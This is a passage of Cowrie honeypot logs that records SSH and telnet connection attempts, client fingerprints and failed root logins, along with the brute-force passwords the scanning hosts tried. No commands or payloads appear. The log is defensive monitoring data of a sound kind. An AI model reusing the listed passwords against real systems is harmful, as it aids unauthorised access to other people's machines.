openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:33.104706Z","src_ip":"103.183.114.55","session":"686111ea2ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59002,"dst_ip":"10.17.0.5","dst_port":23,"session":"f79e7dd3620b","protocol":"telnet","message":"New connection: 192.119.13.58:59002 (10.17.0.5:23) [session: f79e7dd3620b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:33.595461Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"q","message":"login attempt [root/q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:34.008746Z","src_ip":"103.183.114.55","session":"686111ea2ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:35.247751Z","src_ip":"103.183.114.55","session":"686111ea2ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":60684,"dst_ip":"159.203.135.109","dst_port":22,"session":"119f6160e960","protocol":"ssh","message":"New connection: 103.210.22.17:60684 (159.203.135.109:22) [session: 119f6160e960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:37.256757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:37.261801Z","src_ip":"103.210.22.17","session":"119f6160e960","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48534,"dst_ip":"10.17.0.5","dst_port":23,"session":"989c22634ee9","protocol":"telnet","message":"New connection: 192.119.13.58:48534 (10.17.0.5:23) [session: 989c22634ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:39.705820Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60412,"dst_ip":"10.17.0.5","dst_port":23,"session":"508546cc06c2","protocol":"telnet","message":"New connection: 192.119.13.58:60412 (10.17.0.5:23) [session: 508546cc06c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:43.445008Z"}
{"eventid":"cowrie.session.closed","duration":0.005237579345703125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:43.450105Z","src_ip":"192.119.13.58","session":"508546cc06c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.23873829841614,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:47.099947Z","src_ip":"192.119.13.58","session":"1c6032543c4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09651231765747,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:49.371175Z","src_ip":"192.119.13.58","session":"f0385b597175","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55652,"dst_ip":"10.17.0.5","dst_port":23,"session":"53db62e1247b","protocol":"telnet","message":"New connection: 192.119.13.58:55652 (10.17.0.5:23) [session: 53db62e1247b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:50.861412Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60196,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ff359f8e48a","protocol":"telnet","message":"New connection: 192.119.13.58:60196 (10.17.0.5:23) [session: 6ff359f8e48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:52.373028Z"}
{"eventid":"cowrie.session.closed","duration":48.32405114173889,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:52.608941Z","src_ip":"192.119.13.58","session":"fb8fbd3ac75c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":34056,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bb2573a8363","protocol":"ssh","message":"New connection: 103.77.242.62:34056 (10.17.0.5:22) [session: 1bb2573a8363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:52.900391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:52.906411Z","src_ip":"103.77.242.62","session":"1bb2573a8363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:53.141180Z","src_ip":"103.77.242.62","session":"1bb2573a8363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"derparol","message":"login attempt [root/derparol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:53.844597Z","src_ip":"103.77.242.62","session":"1bb2573a8363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36896,"dst_ip":"10.17.0.5","dst_port":23,"session":"edd0c07b517c","protocol":"telnet","message":"New connection: 192.119.13.58:36896 (10.17.0.5:23) [session: edd0c07b517c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:53.952432Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:55.082427Z","src_ip":"103.77.242.62","session":"1bb2573a8363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.718939781188965,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:56.580236Z","src_ip":"192.119.13.58","session":"53db62e1247b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.56071734428406,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:59.995616Z","src_ip":"192.119.13.58","session":"dd448f9430f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38008,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8fc56b1eba2","protocol":"telnet","message":"New connection: 192.119.13.58:38008 (10.17.0.5:23) [session: b8fc56b1eba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:03.031148Z"}
{"eventid":"cowrie.session.closed","duration":36.21386933326721,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:06.505626Z","src_ip":"192.119.13.58","session":"c046a179b684","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.87428665161133,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:07.469498Z","src_ip":"192.119.13.58","session":"f79e7dd3620b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":52856,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0d52ae9e71e","protocol":"ssh","message":"New connection: 103.166.103.173:52856 (159.203.135.109:22) [session: f0d52ae9e71e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:10.020899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:10.026507Z","src_ip":"103.166.103.173","session":"f0d52ae9e71e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:10.263270Z","src_ip":"103.166.103.173","session":"f0d52ae9e71e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0ttenham","message":"login attempt [root/t0ttenham] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:11.235710Z","src_ip":"103.166.103.173","session":"f0d52ae9e71e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:12.475497Z","src_ip":"103.166.103.173","session":"f0d52ae9e71e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":38900,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee0c6e7563ad","protocol":"ssh","message":"New connection: 46.19.67.181:38900 (10.17.0.5:22) [session: ee0c6e7563ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:13.568823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:13.573550Z","src_ip":"46.19.67.181","session":"ee0c6e7563ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:13.693107Z","src_ip":"46.19.67.181","session":"ee0c6e7563ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234554321a","message":"login attempt [root/1234554321a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:14.055286Z","src_ip":"46.19.67.181","session":"ee0c6e7563ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46598,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2d9ff69e130","protocol":"telnet","message":"New connection: 192.119.13.58:46598 (10.17.0.5:23) [session: a2d9ff69e130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:14.548699Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:15.177992Z","src_ip":"46.19.67.181","session":"ee0c6e7563ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":45784,"dst_ip":"159.203.135.109","dst_port":22,"session":"55f882f2c552","protocol":"ssh","message":"New connection: 43.135.129.144:45784 (159.203.135.109:22) [session: 55f882f2c552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:22.825509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:22.830450Z","src_ip":"43.135.129.144","session":"55f882f2c552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:22.901132Z","src_ip":"43.135.129.144","session":"55f882f2c552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsx3edc","message":"login attempt [root/2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:23.211172Z","src_ip":"43.135.129.144","session":"55f882f2c552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.59815764427185,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:23.303848Z","src_ip":"192.119.13.58","session":"989c22634ee9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:24.283850Z","src_ip":"43.135.129.144","session":"55f882f2c552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.295427083969116,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:27.668345Z","src_ip":"192.119.13.58","session":"6ff359f8e48a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.29117178916931,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:33.243487Z","src_ip":"192.119.13.58","session":"edd0c07b517c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55092,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eff126572f6","protocol":"telnet","message":"New connection: 192.119.13.58:55092 (10.17.0.5:23) [session: 8eff126572f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:33.481363Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":47890,"dst_ip":"159.203.135.109","dst_port":22,"session":"29055bc3eb52","protocol":"ssh","message":"New connection: 43.135.182.46:47890 (159.203.135.109:22) [session: 29055bc3eb52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:37.100036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:37.104787Z","src_ip":"43.135.182.46","session":"29055bc3eb52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:37.173166Z","src_ip":"43.135.182.46","session":"29055bc3eb52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2015","message":"login attempt [root/2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:37.481470Z","src_ip":"43.135.182.46","session":"29055bc3eb52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:38.553857Z","src_ip":"43.135.182.46","session":"29055bc3eb52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":36268,"dst_ip":"10.17.0.5","dst_port":22,"session":"26ff7b44b62c","protocol":"ssh","message":"New connection: 43.153.104.156:36268 (10.17.0.5:22) [session: 26ff7b44b62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:41.238494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:41.243127Z","src_ip":"43.153.104.156","session":"26ff7b44b62c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:41.310992Z","src_ip":"43.153.104.156","session":"26ff7b44b62c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm123","message":"login attempt [root/zxcvbnm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:26:41.614817Z","src_ip":"43.153.104.156","session":"26ff7b44b62c","protocol":"ssh"}
